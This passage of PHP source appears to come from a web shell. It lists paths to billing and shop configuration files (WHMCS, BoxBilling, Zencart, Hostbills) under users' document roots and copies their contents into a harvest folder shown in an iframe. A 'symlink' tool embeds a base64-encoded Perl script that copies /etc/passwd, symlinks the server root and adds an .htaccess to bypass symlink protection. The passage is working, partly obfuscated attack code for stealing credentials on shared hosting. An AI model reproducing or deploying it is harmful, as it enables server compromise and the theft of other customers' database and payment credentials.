823 "$user_docroot/supportes/submitticket.php" => "WHMCS",
824 "$user_docroot/domains/submitticket.php" => "WHMCS",
825 "$user_docroot/domain/submitticket.php" => "WHMCS",
826 "$user_docroot/Hosting/submitticket.php" => "WHMCS",
827 "$user_docroot/HOSTING/submitticket.php" => "WHMCS",
828 "$user_docroot/hosting/submitticket.php" => "WHMCS",
829 "$user_docroot/CART/submitticket.php" => "WHMCS",
830 "$user_docroot/Cart/submitticket.php" => "WHMCS",
831 "$user_docroot/cart/submitticket.php" => "WHMCS",
832 "$user_docroot/ORDER/submitticket.php" => "WHMCS",
833 "$user_docroot/Order/submitticket.php" => "WHMCS",
834 "$user_docroot/order/submitticket.php" => "WHMCS",
835 "$user_docroot/CLIENT/submitticket.php" => "WHMCS",
836 "$user_docroot/Client/submitticket.php" => "WHMCS",
837 "$user_docroot/client/submitticket.php" => "WHMCS",
838 "$user_docroot/CLIENTAREA/submitticket.php" => "WHMCS",
839 "$user_docroot/Clientarea/submitticket.php" => "WHMCS",
840 "$user_docroot/clientarea/submitticket.php" => "WHMCS",
841 "$user_docroot/SUPPORT/submitticket.php" => "WHMCS",
842 "$user_docroot/Support/submitticket.php" => "WHMCS",
843 "$user_docroot/support/submitticket.php" => "WHMCS",
844 "$user_docroot/BILLING/submitticket.php" => "WHMCS",
845 "$user_docroot/Billing/submitticket.php" => "WHMCS",
846 "$user_docroot/billing/submitticket.php" => "WHMCS",
847 "$user_docroot/BUY/submitticket.php" => "WHMCS",
848 "$user_docroot/Buy/submitticket.php" => "WHMCS",
849 "$user_docroot/buy/submitticket.php" => "WHMCS",
850 "$user_docroot/MANAGE/submitticket.php" => "WHMCS",
851 "$user_docroot/Manage/submitticket.php" => "WHMCS",
852 "$user_docroot/manage/submitticket.php" => "WHMCS",
853 "$user_docroot/CLIENTSUPPORT/submitticket.php" => "WHMCS",
854 "$user_docroot/ClientSupport/submitticket.php" => "WHMCS",
855 "$user_docroot/Clientsupport/submitticket.php" => "WHMCS",
856 "$user_docroot/clientsupport/submitticket.php" => "WHMCS",
857 "$user_docroot/CHECKOUT/submitticket.php" => "WHMCS",
858 "$user_docroot/Checkout/submitticket.php" => "WHMCS",
859 "$user_docroot/checkout/submitticket.php" => "WHMCS",
860 "$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
861 "$user_docroot/Billings/submitticket.php" => "WHMCS",
862 "$user_docroot/billings/submitticket.php" => "WHMCS",
863 "$user_docroot/BASKET/submitticket.php" => "WHMCS",
864 "$user_docroot/Basket/submitticket.php" => "WHMCS",
865 "$user_docroot/basket/submitticket.php" => "WHMCS",
866 "$user_docroot/SECURE/submitticket.php" => "WHMCS",
867 "$user_docroot/Secure/submitticket.php" => "WHMCS",
868 "$user_docroot/secure/submitticket.php" => "WHMCS",
869 "$user_docroot/SALES/submitticket.php" => "WHMCS",
870 "$user_docroot/Sales/submitticket.php" => "WHMCS",
871 "$user_docroot/sales/submitticket.php" => "WHMCS",
872 "$user_docroot/BILL/submitticket.php" => "WHMCS",
873 "$user_docroot/Bill/submitticket.php" => "WHMCS",
874 "$user_docroot/bill/submitticket.php" => "WHMCS",
875 "$user_docroot/PURCHASE/submitticket.php" => "WHMCS",
876 "$user_docroot/Purchase/submitticket.php" => "WHMCS",
877 "$user_docroot/purchase/submitticket.php" => "WHMCS",
878 "$user_docroot/ACCOUNT/submitticket.php" => "WHMCS",
879 "$user_docroot/Account/submitticket.php" => "WHMCS",
880 "$user_docroot/account/submitticket.php" => "WHMCS",
881 "$user_docroot/USER/submitticket.php" => "WHMCS",
882 "$user_docroot/User/submitticket.php" => "WHMCS",
883 "$user_docroot/user/submitticket.php" => "WHMCS",
884 "$user_docroot/CLIENTS/submitticket.php" => "WHMCS",
885 "$user_docroot/Clients/submitticket.php" => "WHMCS",
886 "$user_docroot/clients/submitticket.php" => "WHMCS",
887 "$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
888 "$user_docroot/Billings/submitticket.php" => "WHMCS",
889 "$user_docroot/billings/submitticket.php" => "WHMCS",
890 "$user_docroot/MY/submitticket.php" => "WHMCS",
891 "$user_docroot/My/submitticket.php" => "WHMCS",
892 "$user_docroot/my/submitticket.php" => "WHMCS",
893 "$user_docroot/secure/whm/submitticket.php" => "WHMCS",
894 "$user_docroot/secure/whmcs/submitticket.php" => "WHMCS",
895 "$user_docroot/panel/submitticket.php" => "WHMCS",
896 "$user_docroot/clientes/submitticket.php" => "WHMCS",
897 "$user_docroot/cliente/submitticket.php" => "WHMCS",
898 "$user_docroot/support/order/submitticket.php" => "WHMCS",
899 "$user_docroot/bb-config.php" => "BoxBilling",
900 "$user_docroot/boxbilling/bb-config.php" => "BoxBilling",
901 "$user_docroot/box/bb-config.php" => "BoxBilling",
902 "$user_docroot/host/bb-config.php" => "BoxBilling",
903 "$user_docroot/Host/bb-config.php" => "BoxBilling",
904 "$user_docroot/supportes/bb-config.php" => "BoxBilling",
905 "$user_docroot/support/bb-config.php" => "BoxBilling",
906 "$user_docroot/hosting/bb-config.php" => "BoxBilling",
907 "$user_docroot/cart/bb-config.php" => "BoxBilling",
908 "$user_docroot/order/bb-config.php" => "BoxBilling",
909 "$user_docroot/client/bb-config.php" => "BoxBilling",
910 "$user_docroot/clients/bb-config.php" => "BoxBilling",
911 "$user_docroot/cliente/bb-config.php" => "BoxBilling",
912 "$user_docroot/clientes/bb-config.php" => "BoxBilling",
913 "$user_docroot/billing/bb-config.php" => "BoxBilling",
914 "$user_docroot/billings/bb-config.php" => "BoxBilling",
915 "$user_docroot/my/bb-config.php" => "BoxBilling",
916 "$user_docroot/secure/bb-config.php" => "BoxBilling",
917 "$user_docroot/support/order/bb-config.php" => "BoxBilling",
918 "$user_docroot/includes/dist-configure.php" => "Zencart",
919 "$user_docroot/zencart/includes/dist-configure.php" => "Zencart",
920 "$user_docroot/products/includes/dist-configure.php" => "Zencart",
921 "$user_docroot/cart/includes/dist-configure.php" => "Zencart",
922 "$user_docroot/shop/includes/dist-configure.php" => "Zencart",
923 "$user_docroot/includes/iso4217.php" => "Hostbills",
924 "$user_docroot/hostbills/includes/iso4217.php" => "Hostbills",
925 "$user_docroot/host/includes/iso4217.php" => "Hostbills",
926 "$user_docroot/Host/includes/iso4217.php" => "Hostbills",
927 "$user_docroot/supportes/includes/iso4217.php" => "Hostbills",
928 "$user_docroot/support/includes/iso4217.php" => "Hostbills",
929 "$user_docroot/hosting/includes/iso4217.php" => "Hostbills",
930 "$user_docroot/cart/includes/iso4217.php" => "Hostbills",
931 "$user_docroot/order/includes/iso4217.php" => "Hostbills",
932 "$user_docroot/client/includes/iso4217.php" => "Hostbills",
933 "$user_docroot/clients/includes/iso4217.php" => "Hostbills",
934 "$user_docroot/cliente/includes/iso4217.php" => "Hostbills",
935 "$user_docroot/clientes/includes/iso4217.php" => "Hostbills",
936 "$user_docroot/billing/includes/iso4217.php" => "Hostbills",
937 "$user_docroot/billings/includes/iso4217.php" => "Hostbills",
938 "$user_docroot/my/includes/iso4217.php" => "Hostbills",
939 "$user_docroot/secure/includes/iso4217.php" => "Hostbills",
940 "$user_docroot/support/order/includes/iso4217.php" => "Hostbills"
941
942 );
943 foreach($getconfig as $config => $userconfig) {
944 $get = file_get_contents($config);
945 if($get == '') {
946 }
947 else {
948 $fopen = fopen("idx_config/$user-$userconfig.txt", "w");
949 fputs($fopen, $get);
950 }
951 }
952 }
953 }
954 }
955 print "<div style='background: #ffffff; width: 100%; height: 100%'>";
956 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_config/' frameborder='0' scrolling='yes'><iframe>";
957 print "</div>";
958 }
959 elseif($toolsname === "symlink") {
960 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_sym'."));
961 if(!is_dir(path()."/idx_sym/")) {
962 $sym['code'] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjIA0KIw0KIwkJTmFtZSA6IFBlcmwvQ0dJIENvbmZpZyBTeW1saW5rZXIgKFdpdGggQXV0byBCeXBhc3MgU3ltbGluayA0MDQpDQojCQlWZXJzaW9uIDogMS4yDQojCQlDcmVhdGVkIDogOSBNZWkgMjAxNw0KIwkJQXV0aG9yIDogMHgxOTk5DQojCQlUaGFua3MgVG8gOiAweElEaW90ICwgSW5kb25lc2lhbiBDb2RlIFBhcnR5ICwgSmF0aW00dQ0KIwkJTW9yZSBJbmZvIDogaHR0cDovLzB4RGFyay5ibG9nc3BvdC5jb20NCiMJCVdhbnQgdG8gcmVjb2RlID8gRG9uJ3QgZm9yZ2V0IG15IG5pY2sgbmFtZSAgOikNCiMJCWh0dHA6Ly9mYWNlYm9vay5jb20vbWVsZXguMWQNCiMJCQ0KIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyANCg0KdXNlIEZpbGU6OkNvcHk7DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdzOw0KdXNlIE1JTUU6OkJhc2U2NDsNCmNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsNCm1rZGlyICJpZHhfc3ltIjsNCnN5bWxpbmsoIi8iLCJpZHhfc3ltL3Jvb3QiKTsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQnBibVJ2ZUhCc2IybDBMbWgwYlEwS1FXUmtWSGx3WlNCMFpYaDBMM0JzWVdsdUlDNXdhSEFnRFFwQlpHUklZVzVrYkdWeUlIUmxlSFF2Y0d4aGFXNGdMbkJvY0EwS1UyRjBhWE5tZVNCQmJua05Da2x1WkdWNFQzQjBhVzl1Y3lBclEyaGhjbk5sZEQxVlZFWXRPQ0FyUm1GdVkzbEpibVJsZUdsdVp5QXJTV2R1YjNKbFEyRnpaU0FyUm05c1pHVnljMFpwY25OMElDdFlTRlJOVENBclNGUk5URlJoWW14bElDdFRkWEJ3Y21WemMxSjFiR1Z6SUN0VGRYQndjbVZ6YzBSbGMyTnlhWEIwYVc5dUlDdE9ZVzFsVjJsa2RHZzlLaUFOQ2tGa1pFbGpiMjRnSjJSaGRHRTZhVzFoWjJVdmNHNW5PMkpoYzJVMk5DeHBWa0pQVW5jd1MwZG5iMEZCUVVGT1UxVm9SVlZuUVVGQlFrRkJRVUZCVVVOQldVRkJRVUZtT0M4NWFFRkJRVUZDU0U1RFUxWlJTVU5CWjBsbVFXaHJhVUZCUVVGQmJIZFRSbXg2UVVGQlRqRjNRVUZFWkdOQ1VXbHBZbVZCUVVGQlFtd3dVbFpvTUZVeU9XMWtTR1JvWTIxVlFXUXpaRE5NYld4MVlUTk9hbGxZUW14TWJUbDVXalYyZFZCQ2IwRkJRVVpWVTFWU1FsWkVhVTV3V2tzNVUyZE9Ra1pKV0ZCMldFNXVaR3BqVW05d1dEUlZOR3RYVm5JMVFVTm9WVGRJT0VKVFprbDBRVWhyUWpsRFdITnlWekJIZDBWUmRGSjNWa3ROVW5SQlZUaGFZMWxYWVU1dFRUSlBlSEY1ZVdsWldtUmpSMGxoV2pSYU56ZE5aV1ZSWTNjMlJFWkJMMVZFVlVGQldVaElhamhvVDBGVWFqbHZVbE5sTWxveFpqSkxhbEF4Wm1kTWEyNU5VRk0xYkZjd1ZtazBjRnB2Y0haSVdFUlhLMGxvVDNJNU9XZFlWSHByY2pseGRsUkNUWFJ5VG1RNFFYTk1WbU52YlZwTFJGQTJNV3RGVEdsb1IwbEtPVkZDWjA4eWFtUnpTVVV2U21JMVQyRmpSMFpCZDBSUlJXVk5SVTlhYm1neFJYRk5RMmgwVTBJNFlUWTBRbGN5VFU1b04xRldhV2hEUjB0alRraHpkMjFhTUd4QmExbEllRVkwVVdoQ1VFTkxTVmxTVlRsc05qQTFTMjFIUTBWSlZWbDZkRU5aVFVKbWEwVnFSMW8wVDJsSWQxSlJSaXQyYTFGSEszQjBRVU5KUmxKRlNsWlFVVUYyUm1ZclFuSnFiM2xSSzBOYVpuRnhNVEU0UkZKR1JXaHFaV0ppWW1Wc05tUkhhWGxVY1dZcmRsTnlhMkZTVVM4d2RYUk1OMjFJV0d3NWRuRXJaVkF6Vlc1aWFDOUlOV2RFUzJsUFJqWTNXV1ZpV1RCa1UwcGpVa0p0TUhveWNrWnNNbmxYY0RoQlZrUkpWek15WkdFM2NFeEJRVUZCUVVWc1JsUnJVM1ZSYlVOREp5QmVYa1JKVWtWRFZFOVNXVjVlRFFwRVpXWmhkV3gwU1dOdmJpQW5aR0YwWVRwcGJXRm5aUzl3Ym1jN1ltRnpaVFkwTEdsV1FrOVNkekJMUjJkdlFVRkJRVTVUVldoRlZXZEJRVUZDUVVGQlFVRlJRMEZaUVVGQlFXWTRMemxvUVVGQlFVRllUbE5TTUVsQmNuTTBZelpSUVVGQlFWcHBVekJrUlVGUU9FRXZkMFF2YjB3eWJtdDNRVUZCUVd4M1UwWnNla0ZCUVV4RmQwRkJRM2hOUWtGS2NXTkhRVUZCUVVGa01GTlZNVVpDT1c5S1FtaGpWRXAyTWtJeVpEUkJRVUZLVFZOVlVrSldSR3BNWWxwUE9WUm9lRnBGU1ZjdmNXeDJaSFJOTXpoQ1RtZEtVVzFSWjBwSFpDdEJMMDFSUWt4M1IycHBkMGd6Ym5ka2ExTk1kRTh5ZUVWU1J6Vk1jWGhZVWxOSlVqSlpSR1pFTkVkclIwMHdVRE55WWpSaU9WQkJlakJzTjNCVGJGZHNWekJtYm01TWIyeEJTVkJDTkZCWWFEUmxSblZ1ZFdOQlNVbE1kMlJGVTJWYWVVRnBabTV3Tml0MU9XOU9URzh6WjAwelRucFVaRWhTS3k4dmVuWktUWHBUZVVwTFMyOWthVWxuT0VGWVlYaGxTWG94WWtSYU4wMTRjVTVtZEdkVFZWSkVWM2szVEZWdVdqQmtXVzE0UVVaQlZrVnNTVFpCUlVONVowbHpVVkZ6YVhwTVFrOUJRa0ZFVDJwTFFYQnhhRGQxTjBkdlExVlhhWGRaWW1WMGIxVkljbkpRWTNkRGNXOUdNa3RWWlZoTWVrVjZRbll3SzNWUmJWTklUVVZhT1VZMlUxcGpjalpwTkVselFrOWhMMkkzU0ZGTllVaDBTVUYzWjB4a1NHRnNSRUV4WlhZd1pWRmlVMnB5UlhKUmQwcHdjVVkwWlVGNEwyaHZjVVF4TXpKdFRXdEtjbWsxZFZOUGJFWm9SV2h3VlZGSmFXOXFkMkZ0VDBST2MyeHFabFZYUTNGd1RHNVBZV0ZEVTB0S2RHNWhRa056V2xscVFXeHNiVmhKTkhaaFpXOWhWbGd3WTJKVFpHaHRWVkl6ZWtGTGRrNXFXVFpXYVc5dk1IUlhlbWRGYjI1TFlsY3JTMnRIVjNRelZXNTBNRU5sUjJaS2N6bG5LMVZWTUhKRlIwaElMMGgzTDAxcVNEWXZWQ3RRVDJSR2IxSk9TME5vVFRJeWVHMVBVR1Z6Y0dwUVIxRTJTSEJPVVRJM2REWnpRVU5FVTA1aGJubHZiR3BFVEVWa1ZtRkdUMHhsT0ZwclZXcExOWFZyY1ROME56bHNVRU0zTDA5RWF6VkhZU3RaTms4MVRYRjViVTUzTTFZeGVUTm9lWHBtV0RCb2NYWktUSGxpV0Vaa0t5dG1NbVF6WkRCa2JYTXJjWFpuTkU5RWVqaG1TSGd3TDB4elltVXpPVFkwYzFNM0t6UjFSV3AxYm5CeGJWTmxObVV6UkROT05TOU9NRmRhWW5Sc2VUbG1NRGx1V2pKYUwySXlPWFl5Wmt4RlpYWjJTemx4ZGpkak1uUnZTMms0VldscFVXbHhTR0p0Tm5KcFZ6WmhNVE5tYml0NmRqY3pLMjl4YjNKb1kweG5TMVZHV0ZaUUsyWnVOVElyVEc5dWFqaEpURW93VURoYVNVTkRSamt2VUZSd1EyeG9jRUoyWjFCbGJHOU1PVlUxTlU1SlFVRkJRVUZCVTFWV1QxSkxOVU5aU1VrOUp3MEtTVzVrWlhoSloyNXZjbVVnS2k1MGVIUTBNRFFOQ2tsdVpHVjRVM1I1YkdWVGFHVmxkQ0FuYUhSMGNEb3ZMMlYyWlc1MExtbHVaRzk0Y0d4dmFYUXViM0l1YVdRdmMzbHRiR2x1YXk1amMzTW5EUXBTWlhkeWFYUmxSVzVuYVc1bElFOXVEUXBTWlhkeWFYUmxRMjl1WkNBbGUxSkZVVlZGVTFSZlJrbE1SVTVCVFVWOUlGNHVLakI0YzNsdE5EQTBJRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkc3ltID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCcGJtUnZlSEJzYjJsMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNBd2VERTVPVGt1ZEhoMERRcFRZWFJwYzJaNUlFRnVlUTBLU1c1a1pYaFBjSFJwYjI1e